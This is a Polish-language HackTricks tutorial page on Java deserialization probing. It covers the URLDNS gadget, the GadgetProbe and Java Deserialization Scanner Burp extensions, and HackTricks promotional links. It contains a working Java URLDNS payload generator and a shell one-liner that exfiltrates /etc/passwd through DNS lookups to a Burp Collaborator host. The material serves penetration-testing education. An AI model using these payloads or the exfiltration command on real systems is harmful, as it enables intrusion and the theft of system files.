11 KiB
Java Deserializacja DNS, GadgetProbe i Skaner Deserializacji Java
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Zapytanie DNS o deserializację
Klasa java.net.URL
implementuje Serializable
, co oznacza, że ta klasa może być zserializowana.
public final class URL implements java.io.Serializable {
Ta klasa ma dziwne zachowanie. Z dokumentacji: "Dwa hosty są uważane za równoważne, jeśli obie nazwy hostów mogą zostać przekonwertowane na te same adresy IP".
Wtedy, za każdym razem, gdy obiekt URL wywołuje którekolwiek z funkcji equals
lub hashCode
zostanie wysłane zapytanie DNS w celu uzyskania adresu IP.
Wywołanie funkcji hashCode
z obiektu URL jest dość proste, wystarczy wstawić ten obiekt do HashMap
, który zostanie zdeserializowany. Dzieje się tak, ponieważ na końcu funkcji readObject
z HashMap
ten kod jest wykonywany:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
To wykona putVal
z każdą wartością w HashMap
. Jednak bardziej istotne jest wywołanie hash
z każdą wartością. Oto kod funkcji hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Jak można zauważyć, podczas deserializacji HashMap
funkcja hash
zostanie wykonana z każdym obiektem i podczas wykonania hash
zostanie wykonane .hashCode()
obiektu. Dlatego jeśli zdeserializujesz HashMap
zawierający obiekt URL, obiekt URL wykona metodę .hashCode()
.
Teraz spójrzmy na kod URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Jak widać, gdy obiekt URLObject
wykonuje .hashCode()
, jest wywoływane hashCode(this)
. W kontynuacji możesz zobaczyć kod tej funkcji:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Możesz zobaczyć, że wywoływana jest metoda getHostAddress
dla domeny, uruchamiając zapytanie DNS.
Dlatego ta klasa może być wykorzystana do uruchomienia zapytania DNS w celu demonstracji, że deserializacja jest możliwa, a nawet do wycieku informacji (możesz dołączyć wynik wykonania polecenia jako subdomenę).
Przykładowy kod ładunku URLDNS
Możesz znaleźć kod ładunku URLDNS z ysoserial tutaj. Jednakże, dla ułatwienia zrozumienia, jak to zrobić, stworzyłem własne PoC (oparte na tym z ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Więcej informacji
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- W oryginalnym pomyśle ładunek biblioteki commons collections został zmieniony, aby wykonać zapytanie DNS, co było mniej niezawodne niż proponowana metoda, ale oto post: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Możesz pobrać GadgetProbe ze sklepu aplikacji Burp Suite (Extender).
GadgetProbe spróbuje ustalić, czy niektóre klasy Java istnieją na klasie Java serwera, dzięki czemu możesz dowiedzieć się, czy jest podatny na znane exploity.
Jak to działa
GadgetProbe będzie używał tego samego ładunku DNS z poprzedniej sekcji, ale przed wykonaniem zapytania DNS spróbuje deserializować dowolną klasę. Jeśli dowolna klasa istnieje, zapytanie DNS zostanie wysłane, a GadgetProbe zanotuje, że ta klasa istnieje. Jeśli zapytanie DNS nie zostanie wysłane, oznacza to, że dowolna klasa nie została deserializowana pomyślnie, więc albo nie jest obecna, albo jest nie serializowalna/eksploatowalna.
W repozytorium na githubie, GadgetProbe ma listy słów z klasami Java do testowania.
Więcej informacji
Skaner deserializacji Java
Ten skaner można pobrać ze sklepu aplikacji Burp (Extender).
Rozszerzenie ma zdolności pasywne i aktywne.
Pasywne
Domyślnie sprawdza pasywnie wszystkie wysyłane żądania i odpowiedzi w poszukiwaniu magicznych bajtów serializacji Java i wyświetli ostrzeżenie o podatności, jeśli jakiekolwiek zostaną znalezione:
Aktywne
Testowanie ręczne
Możesz wybrać żądanie, kliknąć prawym przyciskiem i Send request to DS - Manual Testing
.
Następnie, w zakładce Deserialization Scanner --> Zakładka testowania ręcznego możesz wybrać punkt wstrzyknięcia. I uruchomić testowanie (Wybierz odpowiedni atak w zależności od użytego kodowania).
Nawet jeśli to jest nazywane "Testowaniem ręcznym", jest dość zautomatyzowane. Automatycznie sprawdzi, czy deserializacja jest podatna na dowolny ładunek ysoserial, sprawdzając biblioteki obecne na serwerze internetowym i podświetli te podatne. Aby sprawdzić podatne biblioteki, możesz wybrać, aby uruchomić Javas Sleeps, sleeps poprzez zużycie CPU lub używając DNS, jak już wcześniej wspomniano.
Eksploatowanie
Po zidentyfikowaniu podatnej biblioteki możesz wysłać żądanie do zakładki Eksploatacja.
W tej zakładce ponownie musisz wybrać punkt wstrzyknięcia, wpisać podatną bibliotekę, dla której chcesz utworzyć ładunek, i polecenie. Następnie wystarczy nacisnąć odpowiedni przycisk Atak.
Informacje o eksfiltracji DNS deserializacji Java
Spraw, aby twój ładunek wykonał coś w stylu:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Więcej informacji
Zacznij od zera i zostań mistrzem hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.